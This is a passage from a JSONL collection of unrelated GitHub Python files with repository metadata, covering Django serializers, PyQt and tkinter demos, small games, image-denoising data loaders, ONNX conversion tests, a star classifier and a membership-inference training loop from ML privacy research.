result['paragraph_title']\n return result\n\n\ndef process_cfr_results(results, version):\n \"\"\"Modify the results of a search over the CFR by adding a human-readable\n label, appropriate links, and version information\"\"\"\n section_url = SectionUrl()\n results = deepcopy(results)\n for result in results['results']:\n add_cfr_headers(result)\n result['section_id'] = section_url.view_label_id(\n result['label'], version)\n result['url'] = section_url.fetch(\n result['label'], version, sectional=True)\n return results\n\n\ndef process_preamble_results(results):\n \"\"\"Modify the results of a search over a notice preamble by adding a\n human-readable label, appropriate links, etc.\"\"\"\n results = deepcopy(results)\n for result in results['results']:\n result['header'] = PreambleHTMLBuilder.human_label(result)\n if 'title' in result:\n result['header'] += ' ' + result['title']\n result['section_id'] = '-'.join(\n [result['label'][0], 'preamble'] + result['label'])\n result['url'] = '{}#{}'.format(\n reverse(\n 'chrome_preamble',\n kwargs={'paragraphs': '/'.join(result['label'][:2])},\n ),\n '-'.join(result['label']),\n )\n return results\n","repo_name":"eregs/regulations-site","sub_path":"regulations/views/partial_search.py","file_name":"partial_search.py","file_ext":"py","file_size_in_byte":5103,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"8"}
+{"seq_id":"30862146189","text":"from datetime import timedelta\n\nfrom django.utils import timezone\nfrom django.db.models import Q\nfrom rest_framework import serializers\nfrom movielist.serializers import MovieSerializer\nfrom movielist.models import Movie\nfrom .models import Cinema, Screening\n\n\nclass CinemaSerializer(serializers.ModelSerializer):\n movies = serializers.HyperlinkedIdentityField(\n many=True,\n read_only=True,\n view_name='movie-detail',\n )\n\n class Meta:\n model = Cinema\n fields = ['id', 'name', 'city', 'movies']\n depth = 1\n\n\n\n\nclass ScreeningSerializer(serializers.ModelSerializer):\n cinema = serializers.SlugRelatedField(\n slug_field='name',\n queryset=Cinema.objects.all()\n )\n\n movie = serializers.SlugRelatedField(\n slug_field='title',\n queryset=Movie.objects.all()\n )\n\n class Meta:\n model = Screening\n fields = ('movie', 'cinema', 'date')","repo_name":"marcinpelszyk/Django","sub_path":"project/showtimes/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"74777304581","text":"# -*- coding: utf-8 -*-\n\nimport sys\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtWidgets import (QWidget, QLCDNumber,\n QSlider, QVBoxLayout,\n QApplication, QGridLayout,\n QLabel)\n\n\nclass Example(QWidget):\n \"\"\"\n This is a simple example demonstrating signals and slots in PyQt5.\n \"\"\"\n\n def __init__(self):\n super().__init__()\n self.init_ui()\n\n\n def init_ui(self):\n lcd = QLCDNumber(self)\n sld = QSlider(Qt.Horizontal, self)\n\n sld.setRange(1, 100)\n sld.setSingleStep(1)\n\n vbox = QVBoxLayout()\n vbox.addWidget(lcd)\n vbox.addWidget(sld)\n\n self.setLayout(vbox)\n\n sld.valueChanged.connect(lcd.display)\n # x and y coordinate w, h for frame\n self.setGeometry(300, 300, 250, 150)\n self.setWindowTitle('Signal and slot demo')\n self.show()\n\n # Reimplementing event handler - Events in PyQt5 are processed often by reimplementing event handlers.\n # Inherited from QWidget\n ##############################################\n # keyPressEvent(self, e) is the event handler#\n ##############################################\n def keyPressEvent(self, e):\n\n if e.key() == Qt.Key_Escape:\n self.close()\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ex = Example()\n sys.exit(app.exec_())\n","repo_name":"loveplay1983/pyqt_pro","sub_path":"2_further_pyqt/0_extending_signals/1_event_and_signal_event_handler.py","file_name":"1_event_and_signal_event_handler.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"16431988274","text":"from django.urls import path, include\nfrom rest_framework.routers import DefaultRouter\nfrom .views import SongApi, SingerApi\n\nrouter = DefaultRouter()\nrouter.register('singer', SingerApi, basename='singer')\nrouter.register('song', SongApi, basename='song')\n\nurlpatterns = [\n path('', include(router.urls)),\n path('auth/', include('rest_framework.urls', namespace='rest_framework'))\n]\n","repo_name":"pranavelric/DRF_Practice","sub_path":"SerializerRelations/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"8"}
+{"seq_id":"36272002805","text":"import random\n\nplay_game = 'y'\n\nwhile (play_game == 'y'):\n answer = random.randint(1, 100)\n try_number = int(input('Guess a number between 1 and 100: '))\n count = 1\n while try_number != answer:\n if try_number > answer:\n print(\"Your number is too large\")\n if try_number < answer:\n print(\"Your number is too small.\")\n try_number = int(input('Guess a number between 1 and 100: '))\n count += 1\n print(\"You got it! You tried \" + str(count) + ' times')\n play_game = input(\"Continue? (y/n) \").lower()\n\n if (play_game != \"y\" or play_game != \"n\"):\n print(\"Click y for yes and n for no!\")\n play_game = input(\"Continue? (y/n) \").lower()\n\n if (play_game == \"n\"):\n print(\"See you later...\")\n","repo_name":"BraceZin/Number-Guessing-Game","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"36617492956","text":"import tkinter as tk\nfrom random import randrange as rnd, choice\nimport math\n\nWIDTH = 800\nHEIGHT = 600\ng = 10 # g per time unit\ndt = 50\ncs = 1.01 # collision speedup\n\n\nclass Ball:\n def __init__(self):\n self.R = rnd(20, 50)\n self.x = rnd(self.R, WIDTH - self.R)\n self.y = rnd(self.R, HEIGHT - self.R)\n self.dx, self.dy = (+2, +2)\n self.color = choice(['green',\n 'blue',\n 'red',\n 'pink',\n 'white',\n 'brown'])\n self.check_inside()\n self.ball_id = canvas.create_oval(self.x - self.R,\n self.y - self.R,\n self.x + self.R,\n self.y + self.R,\n fill=self.color)\n\n def move(self):\n global g, dt\n\n self.x += self.dx\n self.y += self.dy\n og = game.direction\n self.dy += g * dt * math.cos(math.pi * og / 8) / 1000\n self.dx += g * dt * math.sin(math.pi * og / 8) / 1000\n if self.x + self.R > WIDTH:\n self.dx = -self.dx - 1\n if self.x - self.R <= 0:\n self.dx = 2\n if self.y + self.R > HEIGHT:\n self.dy = - self.dy - 1\n elif self.y - self.R <= 0:\n self.dy = 2\n self.check_collision()\n\n def show(self):\n canvas.move(self.ball_id, self.dx, self.dy)\n\n def check_collision(self):\n global cs\n\n for ball in balls:\n if self != ball and (\n (ball.R + self.R) ** 2 >= (ball.x - self.x) ** 2 + (ball.y - self.y) ** 2):\n self.dx = - cs * self.dx\n self.dy = - cs * self.dy\n\n def check_inside(self):\n for i in balls:\n while (i.R + self.R) ** 2 >= (i.x - self.x) ** 2 + (i.y - self.y) ** 2:\n self.x = rnd(self.R, WIDTH - self.R)\n self.y = rnd(self.R, HEIGHT - self.R)\n\n\ndef tick():\n global dt\n\n for ball in balls:\n ball.move()\n ball.show()\n root.after(dt, tick)\n\n\nclass Game:\n def __init__(self):\n self.score = 0\n self.direction = 0\n\n def canvas_click_handler(self, event):\n for ball in balls:\n if ball.x + ball.R >= event.x >= ball.x - ball.R and ball.y + ball.R >= event.y >= ball.y - ball.R:\n self.score += 1\n print(str(self.score))\n self.direction += 1\n self.direction = self.direction % 16\n\n def main(self):\n global root, canvas, balls\n root = tk.Tk()\n root.geometry(str(WIDTH) + 'x' + str(HEIGHT))\n canvas = tk.Canvas(root, bg='black')\n canvas.pack(fill=tk.BOTH, expand=1)\n canvas.bind('', self.canvas_click_handler)\n # balls = [Ball() for i in range(5)]\n balls = []\n for i in range(5):\n balls.append(Ball())\n tick()\n root.mainloop()\n\n\ngame = Game()\ngame.main()\n","repo_name":"belskii/lab3_belskii","sub_path":"ball_game.py","file_name":"ball_game.py","file_ext":"py","file_size_in_byte":3061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"41735938797","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# import RPi.GPIO as GPIO\nimport socket\n\n# GPIO.setmode(GPIO.BCM)\n# GPIO.setup(22, GPIO.OUT)\n\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n# 绑定端口:\ns.bind(('10.10.100.83', 50000))\n\nprint('Bind UDP on 50000...')\n\nwhile True:\n # 接收数据:\n data, addr = s.recvfrom(1024)\n print('Received from %s:%s.' % addr)\n\n result = data.decode('utf-8')\n\n print(result)\n if result == '01':\n print('let on')\n s.sendto(b'let on', ('10.10.100.40', 50000))\n # GPIO.output(22, GPIO.HIGH)\n else:\n print('let off')\n s.sendto(b'let off', ('10.10.100.40', 50000))\n # GPIO.output(22, GPIO.LOW)\n\n\n","repo_name":"maxlee12/Python","sub_path":"Raspbian/Learn_Demo/UDP.py","file_name":"UDP.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"70610797102","text":"import unittest\nfrom unittest.mock import Mock, patch\nfrom ttrest import TTAuthenticator\nfrom ttrest import TTLedgerClient\nfrom ttrest import TTEnvironments\n\n\nclass TestTTLedgerClient(unittest.TestCase):\n def setUp(self):\n self.auth_handler = Mock(spec=TTAuthenticator)\n self.ledger_client = TTLedgerClient(self.auth_handler)\n\n @patch(\"ttrest.rest_client.TTRestClient._authenticated_get\")\n def test_get_fills_with_query_parameters(self, mock_authenticated_get):\n mock_response = Mock()\n mock_response.json.return_value = {}\n mock_authenticated_get.return_value = mock_response\n\n self.ledger_client.auth_handler.environment = TTEnvironments.UAT # Set the environment to UAT\n\n self.ledger_client.get_fills(\n account_id=0,\n max_timestamp=1690930800000000000,\n min_timestamp=1690844400000000000,\n order_id=1234,\n product_id=5678,\n include_otc=True\n )\n\n expected_url = f\"{self.ledger_client.TT_BASE_URL}/ttledger/{TTEnvironments.UAT.value}/fills\"\n expected_query = {\n \"accountId\": 0,\n \"maxTimestamp\": 1690930800000000000,\n \"minTimestamp\": 1690844400000000000,\n \"orderId\": 1234,\n \"productId\": 5678,\n \"includeOTC\": \"true\"\n }\n\n # Verify that the method is called with the expected URL and query\n mock_authenticated_get.assert_called_once_with(\n expected_url,\n query=expected_query\n )\n\n @patch(\"ttrest.rest_client.TTRestClient._authenticated_get\")\n def test_get_fills_return_json(self, mock_authenticated_get):\n mock_response = Mock()\n mock_response.json.return_value = {\"data\": \"fill_data\"}\n mock_authenticated_get.return_value = mock_response\n\n result = self.ledger_client.get_fills()\n\n self.assertEqual(result, {\"data\": \"fill_data\"})\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"isaaclm/tt-rest-api","sub_path":"tests/unit_tests/test_ledger.py","file_name":"test_ledger.py","file_ext":"py","file_size_in_byte":1980,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"91"}
+{"seq_id":"32417808384","text":"import os\nimport os.path\nimport numpy as np\nimport torch\nimport glob\nimport torchvision.transforms as transforms\nfrom utils.utils_image import *\nimport scipy.io as sio\n\n\ndef extract_metainfo(path='0151_METADATA_RAW_010.MAT'):\n meta = sio.loadmat(path)['metadata']\n mat_vals = meta[0][0]\n mat_keys = mat_vals.dtype.descr\n\n keys = []\n for item in mat_keys:\n keys.append(item[0])\n\n py_dict = {}\n for key in keys:\n py_dict[key] = mat_vals[key]\n\n device = py_dict['Model'][0].lower()\n bitDepth = py_dict['BitDepth'][0][0]\n if 'iphone' in device or bitDepth != 16:\n noise = py_dict['UnknownTags'][-2][0][-1][0][:2]\n iso = py_dict['DigitalCamera'][0, 0]['ISOSpeedRatings'][0][0]\n pattern = py_dict['SubIFDs'][0][0]['UnknownTags'][0][0][1][0][-1][0]\n time = py_dict['DigitalCamera'][0, 0]['ExposureTime'][0][0]\n\n else:\n noise = py_dict['UnknownTags'][-1][0][-1][0][:2]\n iso = py_dict['ISOSpeedRatings'][0][0]\n pattern = py_dict['UnknownTags'][1][0][-1][0]\n time = py_dict['ExposureTime'][0][0] # the 0th row and 0th line item\n\n rgb = ['R', 'G', 'B']\n pattern = ''.join([rgb[i] for i in pattern])\n\n asShotNeutral = py_dict['AsShotNeutral'][0]\n b_gain, _, r_gain = asShotNeutral\n\n # only load ccm1\n ccm = py_dict['ColorMatrix1'][0].astype(float).reshape((3, 3))\n\n return {'device': device,\n 'pattern': pattern,\n 'iso': iso,\n 'noise': noise,\n 'time': time,\n 'wb': np.array([r_gain, 1, b_gain]),\n 'ccm': ccm, }\n\ndef raw2stack(var):\n h, w = var.shape\n if var.is_cuda:\n res = torch.cuda.FloatTensor(4, h // 2, w // 2).fill_(0)\n else:\n res = torch.FloatTensor(4, h // 2, w // 2).fill_(0)\n res[0] = var[0::2, 0::2]\n res[1] = var[0::2, 1::2]\n res[2] = var[1::2, 0::2]\n res[3] = var[1::2, 1::2]\n return res\n\ndef transform_to_rggb(img, pattern):\n assert len(img.shape) == 2\n res = img.copy()\n\n if pattern.lower() == 'bggr': # same pattern\n res[0::2, 0::2] = img[1::2, 1::2]\n res[1::2, 1::2] = img[0::2, 0::2]\n elif pattern.lower() == 'rggb':\n pass\n elif pattern.lower() == 'grbg':\n res[0::2, 0::2] = img[0::2, 1::2]\n res[0::2, 1::2] = img[0::2, 0::2]\n res[1::2, 0::2] = img[1::2, 1::2]\n res[1::2, 1::2] = img[1::2, 0::2]\n elif pattern.lower() == 'gbrg':\n res[0::2, 0::2] = img[1::2, 0::2]\n res[0::2, 1::2] = img[0::2, 0::2]\n res[1::2, 0::2] = img[1::2, 1::2]\n res[1::2, 1::2] = img[0::2, 1::2]\n else:\n assert 'no support'\n\n return res\n\n\nclass SIDDSubdataset_fromArray(torch.utils.data.Dataset):\n def __init__(self, size, seed, mode='train', patch_size='128',supervised=True):\n super().__init__()\n\n device = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\n load_transform = transforms.Compose([ \n transforms.ToTensor(), \n ])\n \n rng_dataset = np.random.default_rng(seed)\n train_set_indices = rng_dataset.choice(125594, size=size, replace=False, p=None)\n\n # Path to training data pre-processed with create_training_data.py\n path_to_train = \"/tobit/N2N_SIDD_denoising/\"\n # Path to \"ValidationNoisyBlocksRaw.mat\" and \"ValidationGtBlocksRaw.mat\"\n path_to_validation = \"/media/ssd1/SIDD/validation/\"\n # Path to SIDD_Benchmark_Data containing the meta data for the validation set (and benchmark set)\n path_to_benchmark_images = \"/tobit/N2N_SIDD_denoising/raw_validation_data/SIDD_Benchmark_Data/\"\n\n if mode=='train':\n inputs = np.load(f'{path_to_train}SIDD_train_all_scenes_patchSize_{patch_size}_patches_125594_input_array_raw.npy') \n if supervised:\n targets = np.load(f'{path_to_train}SIDD_train_all_scenes_patchSize_{patch_size}_patches_125594_gt_array_raw.npy')\n else:\n targets = np.load(f'{path_to_train}SIDD_train_all_scenes_patchSize_{patch_size}_patches_125594_noisy_target_array_raw.npy')\n\n self.examples = []\n\n for i in train_set_indices:\n input_image = inputs[i,:,:]\n\n target_image = targets[i,:,:]\n\n input_image = load_transform(input_image).to(device)\n target_image = load_transform(target_image).to(device)\n input_image = raw2stack(input_image[0])\n target_image = raw2stack(target_image[0])\n\n self.examples.append((input_image,target_image))\n \n elif mode=='val' or mode=='test':\n \n # the 40 scenes used for validation and benchmarking\n validation_scenes_list = sorted(glob.glob(path_to_benchmark_images + \"0*\"))\n \n noisy_images = sio.loadmat(path_to_validation + \"ValidationNoisyBlocksRaw.mat\")\n gt_images = sio.loadmat(path_to_validation + \"ValidationGtBlocksRaw.mat\")\n\n noisy_images = noisy_images['ValidationNoisyBlocksRaw']\n gt_images = gt_images['ValidationGtBlocksRaw']\n\n transform = transforms.Compose([ \n transforms.ToTensor(), \n ]) \n \n self.examples = []\n if mode=='val':\n pick_val_images = np.arange(0,size)\n elif mode=='test':\n pick_val_images = np.arange(40-size,40)\n else:\n raise ValueError('size must be 3 or 37')\n for i in pick_val_images:\n # here we need to implement the correction of the bayer pattern\n scene = validation_scenes_list[i]\n img_name, extension = os.path.splitext(os.path.basename(scene))\n scene_tag = img_name[0:4]\n py_meta = extract_metainfo(scene +\"/\" + scene_tag + \"_METADATA_RAW_010.MAT\")\n pattern = py_meta['pattern']\n\n for j in range(noisy_images.shape[1]):\n noisy_image = noisy_images[i,j,:,:]\n gt_image = gt_images[i,j,:,:]\n\n noisy_image = transform_to_rggb(noisy_image, pattern)\n gt_image = transform_to_rggb(gt_image, pattern)\n\n noisy_image = transform(noisy_image).to(device)\n gt_image = transform(gt_image).to(device)\n\n noisy_image = raw2stack(noisy_image[0])\n gt_image = raw2stack(gt_image[0])\n self.examples.append((noisy_image,gt_image))\n\n\n\n def __len__(self):\n return len(self.examples)\n\n def __getitem__(self, index):\n\n sample = self.examples[index]\n\n return sample\n\n\nclass SIDDSubdataset_fromArray_gradDiff(torch.utils.data.Dataset):\n def __init__(self, size, seed, mode='train', patch_size='128'):\n super().__init__()\n\n device = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\n load_transform = transforms.Compose([ \n transforms.ToTensor(), \n ])\n \n rng_dataset = np.random.default_rng(seed)\n train_set_indices = rng_dataset.choice(125594, size=size, replace=False, p=None)\n\n # Path to training data pre-processed with create_training_data.py\n path_to_train = \"/tobit/N2N_SIDD_denoising/\"\n\n\n if mode=='train':\n inputs = np.load(f'{path_to_train}SIDD_train_all_scenes_patchSize_{patch_size}_patches_125594_input_array_raw.npy') \n \n targets_sup = np.load(f'{path_to_train}SIDD_train_all_scenes_patchSize_{patch_size}_patches_125594_gt_array_raw.npy')\n targets_self = np.load(f'{path_to_train}SIDD_train_all_scenes_patchSize_{patch_size}_patches_125594_noisy_target_array_raw.npy')\n\n self.examples = []\n\n for i in train_set_indices:\n input_image = inputs[i,:,:]\n\n target_image_sup = targets_sup[i,:,:]\n target_image_self = targets_self[i,:,:]\n\n input_image = load_transform(input_image).to(device)\n target_image_sup = load_transform(target_image_sup).to(device)\n target_image_self = load_transform(target_image_self).to(device)\n input_image = raw2stack(input_image[0])\n target_image_sup = raw2stack(target_image_sup[0])\n target_image_self = raw2stack(target_image_self[0])\n\n self.examples.append((input_image,target_image_sup,target_image_self))\n \n\n\n\n\n def __len__(self):\n return len(self.examples)\n\n def __getitem__(self, index):\n\n sample = self.examples[index]\n\n return sample\n\n","repo_name":"MLI-lab/sample_complexity_ss_recon","sub_path":"Image_denoising_SIDD_figure3/utils/data_helpers/load_datasets_helpers.py","file_name":"load_datasets_helpers.py","file_ext":"py","file_size_in_byte":8799,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"91"}
+{"seq_id":"507271809","text":"from auto_scan_test import OPConvertAutoScanTest, BaseNet\nfrom hypothesis import reproduce_failure\nimport hypothesis.strategies as st\nimport numpy as np\nimport unittest\nimport paddle\nimport random\n\n\nclass Net(BaseNet):\n \"\"\"\n simple Net\n \"\"\"\n\n def forward(self, x):\n \"\"\"\n forward\n \"\"\"\n scale = self.config[\"scale\"]\n if self.config['isTensor']:\n scale = paddle.to_tensor(np.array(scale).astype('float32'))\n x = paddle.scale(\n x,\n scale=scale,\n bias=self.config[\"bias\"],\n bias_after_scale=self.config[\"bias_after_scale\"])\n return x\n\n\nclass TestScaleConvert(OPConvertAutoScanTest):\n \"\"\"\n api: paddle.scale\n OPset version: 7, 9, 15\n \"\"\"\n\n def sample_convert_config(self, draw):\n input_shape = draw(\n st.lists(\n st.integers(\n min_value=2, max_value=20), min_size=0, max_size=5))\n # int32, int64 has a bug\n dtype = draw(st.sampled_from([\"float32\", \"float64\"]))\n\n scale = draw(st.floats(min_value=-20, max_value=20))\n isTensor = draw(st.booleans())\n\n bias = draw(st.floats(min_value=-20, max_value=20))\n bias_after_scale = draw(st.booleans())\n\n config = {\n \"op_names\": [\"scale\"],\n \"test_data_shapes\": [input_shape],\n \"test_data_types\": [[dtype]],\n \"opset_version\": [7, 9, 15],\n \"input_spec_shape\": [],\n \"scale\": scale,\n \"bias\": bias,\n \"bias_after_scale\": bias_after_scale,\n \"isTensor\": isTensor,\n }\n\n models = Net(config)\n\n return (config, models)\n\n def test(self):\n self.run_and_statis(max_examples=30)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"PaddlePaddle/Paddle2ONNX","sub_path":"tests/test_auto_scan_scale.py","file_name":"test_auto_scan_scale.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","stars":591,"dataset":"github-code","pt":"91"}
+{"seq_id":"2490893956","text":"#!/usr/bin/env python2\n# coding: utf-8\n\nimport web\nimport model\nimport datetime\n\nurls = (\n '/', 'Index',\n '/add', 'Add',\n '/admin', 'Admin',\n '/del/(\\d+)', 'Delete'\n )\n\n\nrender = web.template.Render('templates', base='base')\n\n\nclass Index:\n \"\"\"Index page, \"\"\"\n def GET(self):\n \"\"\"Show page\"\"\"\n cash = model.get_cash_details()\n return render.index(cash)\n\n\nclass Add:\n\n def GET(self):\n \"\"\"Show add page.\"\"\"\n return render.add(today=datetime.date.today())\n\n def POST(self):\n \"\"\"Add new entry.\"\"\"\n post = web.input()\n model.new_item(post.date, post.item, post.yuan, post.type)\n raise web.seeother('/')\n\n\nclass Delete:\n def POST(self, id):\n \"\"\"Delete based on ID\"\"\"\n id = int(id)\n model.del_item(id)\n raise web.seeother('/admin')\n\n\nclass Admin:\n\n def GET(self):\n \"\"\"Show page\"\"\"\n cash = model.get_cash_details()\n return render.admin(cash)\n\n\napp = web.application(urls, globals())\n\nif __name__ == '__main__':\n app.run()\nelse:\n application = app.wsgifunc()\n","repo_name":"wangwangwar/cashlist","sub_path":"cash.py","file_name":"cash.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"}
+{"seq_id":"73479553584","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 18 11:56:29 2021\n\n@author: Fede\n\"\"\"\n\nimport os\nimport numpy as np\nimport pandas as pd\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import RandomizedSearchCV\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import KFold\n\n\ndef RandomForestclf(dataset, param_list, target_class='Type', n_estimators=400):\n '''\n This function creates an ensamble of decision trees classifier and tune the hyperparameter thanks to randomsearchCV from sklearn.\n For more information, please visit:\n https://scikit-learn.org/stable/modules/tree.html\n param_list should be a dictionary with the ranges of the parameters.\n dataset should be a dataframe from pandas.\n\n Parameters\n ----------\n min_samples_split : integer\n min number of samples for splitting\n max_depth : integer\n Depth of the tree\n min_samples_leaf : integer\n min number of samples to define a leaf\n criterion : str\n Criterion for splitting the nodes.\n n_estimators : integer\n number of trees that partecipate to the classification problem\n ---------- \n\n '''\n #controllo che siano passati i giusti tipi di variabili.\n assert type(dataset)==pd.core.frame.DataFrame, 'Your dataset should be a pandas dataframe'\n\n assert type(param_list)==dict, 'Your param_list should be a dictionary. For more info about parameters, please check the documentation'\n\n assert type(target_class)==str, 'Your target_class should be a str with your target class name'\n\n ##Separo la target class dal dataset\n attributes = [col for col in df.columns if col != target_class]\n X = dataset[attributes].values\n y = dataset[target_class]\n\n ##Adesso trovo migliori iperparametri e performance con la nested cross-validation\n #definisco la crossvalidation interna\n cv_inner = KFold(n_splits=3, shuffle=True, random_state=42)\n #definisco il modello\n clf = RandomForestClassifier(n_estimators=n_estimators, criterion='gini', max_depth=None,\n min_samples_split=2, min_samples_leaf=1, class_weight=None)\n random_search = RandomizedSearchCV(clf, param_distributions=param_list,\n n_iter=100, n_jobs=-1, cv=cv_inner,\n scoring='accuracy')\n #definisco la crossvalidation esterna\n cv_outer = KFold(n_splits=10, shuffle=True, random_state=42)\n #faccio la nested crossvalidation\n scores = cross_val_score(random_search, X, y, scoring='accuracy', cv=cv_outer, n_jobs=-1)\n return scores\n\n\nif __name__ == '__main__':\n PATH_ACTUAL = os.getcwd()\n PATH = PATH_ACTUAL + \"/data/Stars.csv\"\n df = pd.read_csv(PATH)\n\n del df['L']\n\n ##Trasformiamo la target class in un valore categorico\n stars_type = ['Red Dwarf', 'Brown Dwarf', 'White Dwarf',\n 'Main Sequence', 'Super Giants', 'Hyper Giants']\n df['Type'] = df['Type'].replace(df['Type'].unique(), stars_type)\n\n ##Trasformo alcune variabili usando il logaritmo in base 10\n df['R'] = np.log10(df['R'].values)\n\n ##Trasformo le variabili categoriche in numeri interi\n column2encode = ['Spectral_Class', 'Color']\n for col in column2encode:\n le = LabelEncoder()\n df[col] = le.fit_transform(df[col])\n\n\n ##Creiamo l'ensemble di alberi e eseguiamo la nested cross validation\n leaf_list = list(np.arange(1, 100, 2))\n samples_list = list(np.arange(2, 100, 2))\n param_list = {'max_depth': [None] + list(np.arange(2, 20)),\n 'min_samples_split': samples_list,\n 'min_samples_leaf': leaf_list,\n 'criterion': ['gini', 'entropy']}\n scores = RandomForestclf(df, param_list=param_list, target_class='Type', n_estimators=100)\n\n ##Vediamo quali sono gli attributi che più impattano nella classificazione\n '''attributes = [col for col in df.columns if col != 'Type']\n for col, imp in zip(attributes, clf[0].feature_importances_):\n print(col, imp)'''\n\n #nested crossvalidation, veduamo le performance\n print('Cross validation Accuracy: %0.4f (+/- %0.2f)' % (scores.mean(), scores.std() * 2))\n","repo_name":"fededalba/SCcmep2021","sub_path":"StarclassML/Randomforestclassifier.py","file_name":"Randomforestclassifier.py","file_ext":"py","file_size_in_byte":4270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"32249729200","text":"class Solution:\n def asteroidCollision(self, asteroids: List[int]) -> List[int]:\n res = []\n for asteroid in asteroids:\n while len(res) and asteroid < 0 and res[-1] > 0:\n if res[-1]== -asteroid:\n res.pop()\n break\n elif res[-1] < -asteroid:\n res.pop()\n continue\n elif res[-1] > -asteroid:\n break\n else:\n res.append(asteroid)\n return res","repo_name":"monishshah18/Leetcode","sub_path":"asteroid-collision/asteroid-collision.py","file_name":"asteroid-collision.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"91"}
+{"seq_id":"9709777952","text":"from SpecificSizePerformanceTest import SpecificSizePerformanceTest\nfrom SpecificSizeQualityTest import SpecificSizeQualityTest\nfrom Partitioning import *\n\n\nclass TestRunner:\n def __init__(self):\n self.tests = [SpecificSizeQualityTest(30, bisection_methods=[Partitioning.sga, Partitioning.kla,\n Partitioning.rbha],\n graphs_number=100)\n ]\n\n def run(self):\n for test in self.tests:\n test.run()\n\n\nif __name__ == \"__main__\":\n TestRunner().run()\n","repo_name":"bwroblew/graph_bisection","sub_path":"Test/TestRunner.py","file_name":"TestRunner.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"6165786503","text":"# -*- coding: utf-8 -*-\nimport sys\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport time\nfrom polygon import *\nfrom gjk_epa import *\nfrom cvxopt import solvers, matrix\n\nsys.path.append(\"../\") \nimport my_map as mymap\n\ndef test_polygon_self():\n\t'''\n\ttest item: the functions of polygon class\n\t'''\n\tplg = Polygon()\n\t# vers=[[0,0],[1,1],[2,0],[3,3],[0,4],[-1,3.5], [0,2]]\n\t# vers = [[0,0],[1,1],[2,0],[3,4],[2,1.5],[0,3]]\n\tvers = [[1,2], [2,2], [2.5,3], [1.5, 4], [0.5,3], [4,1], [5,1], [5.5,2], [4.5,3], [3.5,2]]\n\tplg.set_vertexes(vers)\n\tplg.find_min_convex()\n\tplg1 = move_along_dir_by_dis(plg, [1,0], 5)\n\tfig, ax = plt.subplots()\n\tplg.plot_in_ax(ax) # plot this plg\n\tplg1.plot_in_ax(ax) # plot this plg\n\tplt.show()\n\ndef test_decomposition():\n\t'''\n\ttest item: the decomposition of a concave polygon\n\t'''\n\tplg = Polygon()\n\t# vers=[[0,0],[1,1],[2,0],[3,3],[0,4],[-1,3.5], [0,2]]\n\tvers=[[0,0],[1,1],[2,0],[3,4],[2,1.5],[0,3]]\n\tplg.set_vertexes(vers)\n\tplg.plot() # plot this plg\n\n\t# decomposition the polygon\n\tconvex_plg_list=[]\n\tplg_to_convexplg(plg, convex_plg_list)\n\n\t# plot every convex polygon\n\t# for i in range(len(convex_plg_list)):\n\t# \tconvex_plg_list[i].plot()\n\n\t# plot the polygon the every convex subpolygon\n\tplt.ion()\n\tfig = plt.figure()\n\tax = fig.add_subplot(111)\n\tplg.plot_in_ax(ax)\n\tplt.title(\"Decompositon of a Concave Polygon\")\n\n\tsubplg, = ax.plot([], [], 'r--')\n\tfig.canvas.draw()\n\tfig.canvas.flush_events()\n\tfor i in range(len(convex_plg_list)):\n\t\tshowtimes = 1\n\t\tif i== len(convex_plg_list)-1:\n\t\t\tshowtimes = 10000000000\n\t\tj = 0\n\t\twhile j 0.5) == v_is_member_labels.data.cpu().numpy())\r\n losses.update(loss.item(), model_input.size(0))\r\n top1.update(prec1, model_input.size(0))\r\n\r\n # compute gradient and do SGD step\r\n optimizer_mia.zero_grad()\r\n if args.fp16:\r\n optimizer_mia.backward(loss)\r\n else:\r\n loss.backward()\r\n\r\n optimizer_mia.step()\r\n\r\n # measure elapsed time\r\n batch_time.update(time.time() - end)\r\n end = time.time()\r\n\r\n if batch_idx - first_id >= num_batchs:\r\n break\r\n\r\n # plot progress\r\n if batch_idx % 10 == 0:\r\n print_and_log(\r\n '({batch}/{size}) Data: {data:.3f}s | Batch: {bt:.3f}s | | Loss: {loss:.4f} | top1: {top1: .4f} '.format(\r\n batch=batch_idx,\r\n size=size,\r\n data=data_time.avg,\r\n 